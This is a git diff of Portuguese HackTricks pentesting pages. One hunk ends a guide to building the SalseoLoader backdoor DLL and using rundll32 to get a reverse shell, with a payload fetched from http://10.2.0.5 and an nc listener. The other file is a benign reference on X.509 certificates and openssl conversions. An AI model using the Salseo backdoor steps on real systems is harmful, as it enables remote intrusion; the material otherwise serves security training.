+![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-### Instale o DllExport para este projeto
+### Instale DllExport para este projeto
#### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
-![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
-#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
+#### **Procure pelo pacote DllExport (usando a aba Procurar), e pressione Instalar (e aceite o popup)**
-![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png>)
-Na pasta do seu projeto, aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
+No seu diretório do projeto apareceram os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
-### **Desinstale o DllExport**
+### **Desinstale** DllExport
Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
-### **Saia do Visual Studio e execute o DllExport\_configure**
+### **Saia do Visual Studio e execute DllExport\_configure**
Apenas **saia** do Visual Studio
-Em seguida, vá para a pasta do seu **SalseoLoader** e **execute o DllExport\_Configure.bat**
+Depois, vá até a sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat**
-Selecione **x64** (se você for usá-lo em uma máquina x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro do **Namespace para DllExport**) e pressione **Aplicar**
+Selecione **x64** (se você vai usar em um sistema x64, que foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar**
-![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **Abra o projeto novamente com o Visual Studio**
-**\[DllExport]** não deve mais estar marcado como erro
+**\[DllExport]** não deve mais ser marcado como erro
![](<../.gitbook/assets/image (8) (1).png>)
-### Compile a solução
+### Construa a solução
Selecione **Tipo de Saída = Biblioteca de Classes** (Projeto --> Propriedades do SalseoLoader --> Aplicativo --> Tipo de saída = Biblioteca de Classes)
![](<../.gitbook/assets/image (10) (1).png>)
-Selecione a **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilação --> Destino da plataforma = x64)
+Selecione **plataforma x64** (Projeto --> Propriedades do SalseoLoader --> Compilar --> Alvo da plataforma = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
-Para **compilar** a solução: Build --> Build Solution (Dentro do console de saída, o caminho da nova DLL aparecerá)
+Para **construir** a solução: Construir --> Construir Solução (Dentro do console de Saída o caminho da nova DLL aparecerá)
-### Teste a DLL gerada
+### Teste a Dll gerada
-Copie e cole a DLL onde você deseja testá-la.
+Copie e cole a Dll onde você quer testá-la.
Execute:
```
@@ -177,9 +145,9 @@ rundll32.exe SalseoLoader.dll,main
```
Se nenhum erro aparecer, provavelmente você tem uma DLL funcional!!
-## Obtenha um shell usando a DLL
+## Obter um shell usando a DLL
-Não se esqueça de usar um **servidor** **HTTP** e configurar um **listener** **nc**
+Não se esqueça de usar um **servidor HTTP** e configurar um **listener nc**
### Powershell
```
@@ -191,16 +159,6 @@ $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
-
-O CMD (Command Prompt) é uma ferramenta de linha de comando no sistema operacional Windows que permite aos usuários interagir com o sistema operacional por meio de comandos. É uma ferramenta poderosa para executar tarefas administrativas, automatizar processos e realizar várias operações no sistema.
-
-O CMD pode ser usado para executar comandos básicos, como navegar pelos diretórios, criar e excluir arquivos, gerenciar processos e serviços, configurar redes e muito mais. Além disso, o CMD também pode ser usado para executar scripts e programas.
-
-Os hackers podem aproveitar o CMD para executar várias atividades maliciosas, como explorar vulnerabilidades, obter acesso não autorizado, roubar informações confidenciais e muito mais. Eles podem usar comandos específicos do CMD para realizar essas ações, como criar backdoors, executar scripts maliciosos, modificar configurações do sistema e explorar falhas de segurança.
-
-É importante que os usuários estejam cientes das possíveis ameaças associadas ao uso do CMD e tomem medidas para proteger seus sistemas contra ataques. Isso inclui manter o sistema operacional e os softwares atualizados, usar senhas fortes, evitar o download de arquivos suspeitos e ter um software antivírus confiável instalado.
-
-Em resumo, o CMD é uma ferramenta poderosa que pode ser usada para executar várias tarefas no sistema operacional Windows. No entanto, também pode ser explorado por hackers para realizar atividades maliciosas. Portanto, é importante estar ciente das ameaças associadas ao uso do CMD e tomar medidas para proteger os sistemas contra ataques.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@@ -211,12 +169,14 @@ rundll32.exe SalseoLoader.dll,main
```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index 65950a45b..4cd39a7b0 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -2,96 +2,98 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com ferramentas comunitárias **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## O que é um Certificado
-Em criptografia, um **certificado de chave pública**, também conhecido como **certificado digital** ou **certificado de identidade**, é um documento eletrônico usado para comprovar a propriedade de uma chave pública. O certificado inclui informações sobre a chave, informações sobre a identidade do seu proprietário (chamado de sujeito) e a assinatura digital de uma entidade que verificou o conteúdo do certificado (chamada de emissor). Se a assinatura for válida e o software que examina o certificado confiar no emissor, ele pode usar essa chave para se comunicar de forma segura com o sujeito do certificado.
+Em criptografia, um **certificado de chave pública**, também conhecido como **certificado digital** ou **certificado de identidade**, é um documento eletrônico usado para comprovar a propriedade de uma chave pública. O certificado inclui informações sobre a chave, informações sobre a identidade do seu proprietário (chamado de sujeito) e a assinatura digital de uma entidade que verificou o conteúdo do certificado (chamado de emissor). Se a assinatura for válida e o software que examina o certificado confiar no emissor, então ele pode usar essa chave para se comunicar de forma segura com o sujeito do certificado.
-Em um esquema típico de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), o emissor do certificado é uma [autoridade de certificação](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), geralmente uma empresa que cobra dos clientes para emitir certificados para eles. Em contraste, em um esquema de [rede de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), os indivíduos assinam as chaves uns dos outros diretamente, em um formato que desempenha uma função semelhante a um certificado de chave pública.
+Em um esquema típico de [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), o emissor do certificado é uma [autoridade de certificação](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), geralmente uma empresa que cobra dos clientes para emitir certificados para eles. Em contraste, em um esquema de [teia de confiança](https://en.wikipedia.org/wiki/Web\_of\_trust), indivíduos assinam diretamente as chaves uns dos outros, em um formato que desempenha uma função semelhante a um certificado de chave pública.
-O formato mais comum para certificados de chave pública é definido por [X.509](https://en.wikipedia.org/wiki/X.509). Como o X.509 é muito geral, o formato é ainda mais restrito por perfis definidos para determinados casos de uso, como [Infraestrutura de Chave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) conforme definido no RFC 5280.
+O formato mais comum para certificados de chave pública é definido por [X.509](https://en.wikipedia.org/wiki/X.509). Como X.509 é muito geral, o formato é ainda mais restrito por perfis definidos para certos casos de uso, como [Infraestrutura de Chave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) conforme definido no RFC 5280.
-## Campos Comuns do x509
+## Campos Comuns x509
* **Número da Versão:** Versão do formato x509.
-* **Número Serial**: Usado para identificar unicamente o certificado nos sistemas de uma CA. Em particular, isso é usado para rastrear informações de revogação.
-* **Sujeito**: A entidade a qual o certificado pertence: uma máquina, um indivíduo ou uma organização.
+* **Número de Série**: Usado para identificar unicamente o certificado dentro dos sistemas de uma CA. Em particular, é usado para rastrear informações de revogação.
+* **Sujeito**: A entidade a qual um certificado pertence: uma máquina, um indivíduo ou uma organização.
* **Nome Comum**: Domínios afetados pelo certificado. Pode ser 1 ou mais e pode conter curingas.
* **País (C)**: País
* **Nome Distinto (DN)**: O sujeito completo: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
-* **Localidade (L)**: Local
+* **Localidade (L)**: Localidade
* **Organização (O)**: Nome da organização
* **Unidade Organizacional (OU)**: Divisão de uma organização (como "Recursos Humanos").
-* **Estado ou Província (ST, S ou P)**: Lista de nomes de estado ou província
+* **Estado ou Província (ST, S ou P)**: Lista de nomes de estados ou províncias
* **Emissor**: A entidade que verificou as informações e assinou o certificado.
* **Nome Comum (CN)**: Nome da autoridade de certificação
* **País (C)**: País da autoridade de certificação
* **Nome Distinto (DN)**: Nome distinto da autoridade de certificação
-* **Localidade (L)**: Local onde a organização pode ser encontrada.
+* **Localidade (L)**: Localidade onde a organização pode ser encontrada.
* **Organização (O)**: Nome da organização
* **Unidade Organizacional (OU)**: Divisão de uma organização (como "Recursos Humanos").
-* **Não Antes**: A data e hora mais cedo em que o certificado é válido. Geralmente definido algumas horas ou dias antes do momento em que o certificado foi emitido, para evitar problemas de [diferença de horário](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network).
-* **Não Depois**: A data e hora após as quais o certificado não é mais válido.
-* **Chave Pública**: Uma chave pública pertencente ao sujeito do certificado. (Esta é uma das partes principais, pois é isso que é assinado pela CA)
-* **Algoritmo de Chave Pública**: Algoritmo usado para gerar a chave pública. Como RSA.
+* **Não Antes**: A data e hora mais cedo em que o certificado é válido. Geralmente definido para algumas horas ou dias antes do momento em que o certificado foi emitido, para evitar problemas de [desvio de relógio](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network).
+* **Não Depois**: A data e hora após a qual o certificado não é mais válido.
+* **Chave Pública**: Uma chave pública pertencente ao sujeito do certificado. (Esta é uma das partes principais, pois é o que é assinado pela CA)
+* **Algoritmo da Chave Pública**: Algoritmo usado para gerar a chave pública. Como RSA.
* **Curva da Chave Pública**: A curva usada pelo algoritmo de chave pública de curva elíptica (se aplicável). Como nistp521.
* **Expoente da Chave Pública**: Expoente usado para derivar a chave pública (se aplicável). Como 65537.
* **Tamanho da Chave Pública**: O tamanho do espaço da chave pública em bits. Como 2048.
* **Algoritmo de Assinatura**: O algoritmo usado para assinar o certificado de chave pública.
* **Assinatura**: Uma assinatura do corpo do certificado pela chave privada do emissor.
-* **Extensões x509v3**
-* **Uso da Chave**: Os usos criptográficos válidos da chave pública do certificado. Valores comuns incluem validação de assinatura digital, cifragem de chave e assinatura de certificado.
-* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Digital Signature`
-* **Uso Estendido da Chave**: As aplicações em que o certificado pode ser usado. Valores comuns incluem autenticação de servidor TLS, proteção de e-mail e assinatura de código.
-* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `TLS Web Server Authentication`
-* **Nome Alternativo do Sujeito:** Permite que os usuários especifiquem nomes adicionais de host para um único **certificado** SSL. O uso da extensão SAN é uma prática padrão para certificados SSL e está substituindo o uso do **nome** comum.
-* **Restrição Básica:** Essa extensão descreve se o certificado é um certificado de CA ou um certificado de entidade final. Um certificado de CA é algo que assina certificados de outras pessoas e um certificado de entidade final é o certificado usado em uma página da web, por exemplo (a última parte da cadeia).
-* **Identificador de Chave do Assunto** (SKI): Esta extensão declara um **identificador único** para a **chave pública** no certificado. É necessário em todos os certificados de AC. As ACs propagam seu próprio SKI para a extensão **Identificador de Chave do Emissor** (AKI) nos certificados emitidos. É o hash da chave pública do assunto.
-* **Identificador de Chave da Autoridade**: Contém um identificador de chave derivado da chave pública no certificado do emissor. É o hash da chave pública do emissor.
+* **extensões x509v3**
+* **Uso da Chave**: Os usos criptográficos válidos da chave pública do certificado. Valores comuns incluem validação de assinatura digital, ciframento de chave e assinatura de certificado.
+* Em um certificado Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Assinatura Digital`
+* **Uso Estendido da Chave**: As aplicações nas quais o certificado pode ser usado. Valores comuns incluem autenticação de servidor TLS, proteção de email e assinatura de código.
+* Em um certificado Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Autenticação de Servidor Web TLS`
+* **Nome Alternativo do Sujeito:** Permite que os usuários especifiquem nomes de host adicionais para um único **certificado SSL**. O uso da extensão SAN é prática padrão para certificados SSL e está a caminho de substituir o uso do **nome comum**.
+* **Restrição Básica:** Esta extensão descreve se o certificado é um certificado de CA ou um certificado de entidade final. Um certificado de CA é algo que assina certificados de outros e um certificado de entidade final é o certificado usado em uma página da web, por exemplo (a última parte da cadeia).
+* **Identificador de Chave do Sujeito** (SKI): Esta extensão declara um **identificador único** para a **chave pública** no certificado. É obrigatório em todos os certificados de CA. As CAs propagam seu próprio SKI para a extensão Identificador de **Chave do Emissor** (AKI) nos certificados emitidos. É o hash da chave pública do sujeito.
+* **Identificador de Chave da Autoridade**: Contém um identificador de chave que é derivado da chave pública no certificado do emissor. É o hash da chave pública do emissor.
* **Acesso à Informação da Autoridade** (AIA): Esta extensão contém no máximo dois tipos de informações:
-* Informações sobre **como obter o emissor deste certificado** (método de acesso do emissor da AC)
+* Informações sobre **como obter o emissor deste certificado** (método de acesso ao emissor da CA)
* Endereço do **responder OCSP de onde a revogação deste certificado** pode ser verificada (método de acesso OCSP).
-* **Pontos de Distribuição de CRL**: Esta extensão identifica a localização da CRL a partir da qual a revogação deste certificado pode ser verificada. A aplicação que processa o certificado pode obter a localização da CRL a partir desta extensão, baixar a CRL e então verificar a revogação deste certificado.
-* **CT Precertificate SCTs**: Logs de transparência de certificados referentes ao certificado
+* **Pontos de Distribuição CRL**: Esta extensão identifica a localização da CRL de onde a revogação deste certificado pode ser verificada. O aplicativo que processa o certificado pode obter a localização da CRL a partir desta extensão, baixar a CRL e, em seguida, verificar a revogação deste certificado.
+* **CT Precertificate SCTs**: Logs de Transparência de Certificado referentes ao certificado
-### Diferença entre OCSP e Pontos de Distribuição de CRL
+### Diferença entre OCSP e Pontos de Distribuição CRL
-**OCSP** (RFC 2560) é um protocolo padrão que consiste em um **cliente OCSP e um responder OCSP**. Este protocolo **determina o status de revogação de um determinado certificado de chave pública digital** **sem precisar** baixar a **CRL inteira**.\
-**CRL** é o **método tradicional** de verificação da validade do certificado. Uma **CRL fornece uma lista de números de série de certificados** que foram revogados ou não são mais válidos. As CRLs permitem que o verificador verifique o status de revogação do certificado apresentado durante a verificação. As CRLs são limitadas a 512 entradas.\
+**OCSP** (RFC 2560) é um protocolo padrão que consiste em um **cliente OCSP e um respondedor OCSP**. Este protocolo **determina o status de revogação de um dado certificado de chave pública digital** **sem** ter que **baixar** a **CRL inteira**.\
+**CRL** é o **método tradicional** de verificar a validade do certificado. Uma **CRL fornece uma lista de números de série de certificados** que foram revogados ou não são mais válidos. As CRLs permitem que o verificador verifique o status de revogação do certificado apresentado durante a verificação. As CRLs são limitadas a 512 entradas.\
De [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
-### O que é Transparência de Certificados
+### O que é Transparência de Certificado
-A Transparência de Certificados tem como objetivo remediar ameaças baseadas em certificados, tornando a emissão e a existência de certificados SSL abertas à análise dos proprietários de domínios, ACs e usuários de domínios. Especificamente, a Transparência de Certificados tem três objetivos principais:
+Transparência de Certificado visa remediar ameaças baseadas em certificados ao **tornar a emissão e existência de certificados SSL abertos ao escrutínio por proprietários de domínios, CAs e usuários de domínios**. Especificamente, a Transparência de Certificado tem três objetivos principais:
-* Tornar impossível (ou pelo menos muito difícil) para uma AC **emitir um certificado SSL para um domínio sem que o proprietário** desse domínio **possa visualizar** o certificado.
-* Fornecer um **sistema de auditoria e monitoramento aberto** que permita a qualquer proprietário de domínio ou AC determinar se certificados foram emitidos erroneamente ou maliciosamente.
-* **Proteger os usuários** (o máximo possível) de serem enganados por certificados emitidos erroneamente ou maliciosamente.
+* Tornar impossível (ou pelo menos muito difícil) para uma CA **emitir um certificado SSL para um domínio sem que o certificado esteja visível para o proprietário** desse domínio.
+* Fornecer um **sistema aberto de auditoria e monitoramento que permite a qualquer proprietário de domínio ou CA determinar se certificados foram emitidos erroneamente ou maliciosamente**.
+* **Proteger os usuários** (tanto quanto possível) de serem enganados por certificados que foram emitidos erroneamente ou maliciosamente.
#### **Logs de Certificados**
-Logs de certificados são serviços de rede simples que mantêm registros de certificados **garantidos criptograficamente, auditáveis publicamente e somente para adição**. **Qualquer pessoa pode enviar certificados para um log**, embora as autoridades de certificação provavelmente sejam as principais remetentes. Da mesma forma, qualquer pessoa pode consultar um log para obter uma prova criptográfica, que pode ser usada para verificar se o log está se comportando corretamente ou verificar se um determinado certificado foi registrado. O número de servidores de log não precisa ser grande (digamos, muito menos de mil em todo o mundo), e cada um pode ser operado independentemente por uma AC, um ISP ou qualquer outra parte interessada.
+Logs de certificados são serviços de rede simples que mantêm **registros de certificados assegurados criptograficamente, publicamente auditáveis e apenas de adição**. **Qualquer um pode submeter certificados a um log**, embora as autoridades de certificação provavelmente sejam os principais submissores. Da mesma forma, qualquer um pode consultar um log para uma prova criptográfica, que pode ser usada para verificar se o log está se comportando corretamente ou verificar se um certificado específico foi registrado. O número de servidores de log não precisa ser grande (digamos, muito menos de mil em todo o mundo), e cada um pode ser operado independentemente por uma CA, um ISP ou qualquer outra parte interessada.
#### Consulta
-Você pode consultar os logs de Transparência de Certificados de qualquer domínio em [https://crt.sh/](https://crt.sh).
+Você pode consultar os logs de Transparência de Certificado de qualquer domínio em [https://crt.sh/](https://crt.sh).
## Formatos
@@ -100,24 +102,24 @@ Existem diferentes formatos que podem ser usados para armazenar um certificado.
#### **Formato PEM**
* É o formato mais comum usado para certificados
-* A maioria dos servidores (por exemplo, Apache) espera que os certificados e a chave privada estejam em arquivos separados\
-\- Geralmente, eles são arquivos ASCII codificados em Base64\
-\- As extensões usadas para certificados PEM são .cer, .crt, .pem, .key\
-\- O Apache e servidores similares usam certificados no formato PEM
+* A maioria dos servidores (Ex: Apache) espera que os certificados e a chave privada estejam em arquivos separados\
+\- Geralmente são arquivos ASCII codificados em Base64\
+\- Extensões usadas para certificados PEM são .cer, .crt, .pem, .key\
+\- Apache e servidores semelhantes usam certificados no formato PEM
#### **Formato DER**
* O formato DER é a forma binária do certificado
* Todos os tipos de certificados e chaves privadas podem ser codificados no formato DER
* Certificados formatados em DER não contêm as declarações "BEGIN CERTIFICATE/END CERTIFICATE"
-* Certificados formatados em DER geralmente usam as extensões ‘.cer’ e '.der'
-* DER é tipicamente usado em plataformas Java
+* Certificados formatados em DER usam mais frequentemente as extensões ‘.cer’ e '.der'
+* DER é tipicamente usado em Plataformas Java
#### **Formato P7B/PKCS#7**
-* O formato PKCS#7 ou P7B é armazenado no formato ASCII codificado em Base64 e tem uma extensão de arquivo .p7b ou .p7c
-* Um arquivo P7B contém apenas certificados e certificados de cadeia (ACs intermediárias), não a chave privada
-* As plataformas mais comuns que suportam arquivos P7B são o Microsoft Windows e o Java Tomcat
+* O formato PKCS#7 ou P7B é armazenado em formato ASCII Base64 e tem uma extensão de arquivo de .p7b ou .p7c
+* Um arquivo P7B contém apenas certificados e certificados de cadeia (CAs Intermediárias), não a chave privada
+* As plataformas mais comuns que suportam arquivos P7B são Microsoft Windows e Java Tomcat
#### **Formato PFX/P12/PKCS#12**
@@ -131,51 +133,21 @@ Existem diferentes formatos que podem ser usados para armazenar um certificado.
```
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-To convert a PEM (Privacy-Enhanced Mail) certificate file to DER (Distinguished Encoding Rules) format, you can use the OpenSSL command-line tool. The following command can be used for the conversion:
-
-```bash
-openssl x509 -in certificate.pem -outform der -out certificate.der
-```
-
-Replace `certificate.pem` with the path to your PEM certificate file. After running the command, a new file named `certificate.der` will be created in DER format.
-
-#### **Convert DER to PEM**
+#### **Converter PEM para DER**
```
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
**Converter DER para PEM**
-
-Para converter um certificado no formato DER para o formato PEM, você pode usar a ferramenta OpenSSL. O formato PEM é um formato de arquivo base64 codificado que é amplamente suportado.
-
-Aqui está o comando para converter um certificado DER para PEM:
-
-```bash
-openssl x509 -inform der -in certificado.der -out certificado.pem
-```
-
-Certifique-se de substituir "certificado.der" pelo nome do arquivo DER que você deseja converter e "certificado.pem" pelo nome do arquivo PEM de saída desejado.
-
-Depois de executar o comando, você terá um arquivo PEM convertido que pode ser facilmente lido e usado em várias aplicações.
```
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
**Converter PEM para P7B**
-**Nota:** O formato PKCS#7 ou P7B é armazenado em formato ASCII Base64 e tem uma extensão de arquivo .p7b ou .p7c. Um arquivo P7B contém apenas certificados e certificados de cadeia (CAs intermediários), não a chave privada. As plataformas mais comuns que suportam arquivos P7B são o Microsoft Windows e o Java Tomcat.
+**Nota:** O formato PKCS#7 ou P7B é armazenado em formato ASCII Base64 e tem uma extensão de arquivo .p7b ou .p7c. Um arquivo P7B contém apenas certificados e cadeias de certificados (CAs Intermediários), não a chave privada. As plataformas mais comuns que suportam arquivos P7B são Microsoft Windows e Java Tomcat.
```
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
**Converter PKCS7 para PEM**
-
-Para converter um arquivo PKCS7 para o formato PEM, você pode seguir os seguintes passos:
-
-1. Abra o arquivo PKCS7 em um editor de texto.
-2. Copie todo o conteúdo do arquivo PKCS7.
-3. Abra um novo arquivo em branco em um editor de texto.
-4. Cole o conteúdo copiado no novo arquivo.
-5. Salve o novo arquivo com a extensão ".pem".
-
-Agora você tem um arquivo PEM que contém o mesmo conteúdo do arquivo PKCS7 original.
```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
@@ -193,23 +165,6 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
**2- Converter PEM para PKCS8**
-
-Às vezes, é necessário converter um arquivo no formato PEM (Privacy-Enhanced Mail) para o formato PKCS8 (Public-Key Cryptography Standards #8). O formato PKCS8 é amplamente utilizado para armazenar chaves privadas criptografadas.
-
-Para converter um arquivo PEM para PKCS8, você pode usar a ferramenta OpenSSL. Siga as etapas abaixo:
-
-1. Abra o terminal ou prompt de comando.
-2. Execute o seguinte comando para converter o arquivo PEM para PKCS8:
-
- ```
- openssl pkcs8 -topk8 -inform PEM -outform DER -in chave_privada.pem -out chave_privada.pkcs8 -nocrypt
- ```
-
- Certifique-se de substituir "chave_privada.pem" pelo caminho e nome do seu arquivo PEM.
-
-3. Após executar o comando, o arquivo PEM será convertido para o formato PKCS8 e salvo como "chave_privada.pkcs8".
-
-Agora você tem um arquivo no formato PKCS8 que pode ser usado em várias aplicações que suportam esse formato.
```
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
@@ -221,41 +176,27 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
**2- Converter CER e Chave Privada para PFX**
-
-Para converter um arquivo de certificado CER e uma chave privada em um arquivo PFX, você pode usar a ferramenta OpenSSL. Siga as etapas abaixo:
-
-1. Certifique-se de ter o OpenSSL instalado em seu sistema.
-2. Abra o terminal ou prompt de comando e navegue até o diretório onde estão localizados o arquivo CER e a chave privada.
-3. Execute o seguinte comando para converter o arquivo CER e a chave privada em um arquivo PFX:
-
-```
-openssl pkcs12 -export -out certificado.pfx -inkey chave_privada.key -in certificado.cer
-```
-
-Certifique-se de substituir "chave_privada.key" pelo nome do arquivo da chave privada e "certificado.cer" pelo nome do arquivo CER.
-
-4. Durante o processo de conversão, você será solicitado a definir uma senha para proteger o arquivo PFX. Digite uma senha segura e lembre-se dela, pois você precisará dela para acessar o arquivo PFX posteriormente.
-
-Após a conclusão do processo, você terá um arquivo PFX que contém o certificado e a chave privada. Esse arquivo pode ser usado em várias plataformas e aplicativos que suportam o formato PFX para autenticação e criptografia.
```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
-
+
\
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
-Acesse hoje mesmo:
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas da comunidade **mais avançadas** do mundo.\
+Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
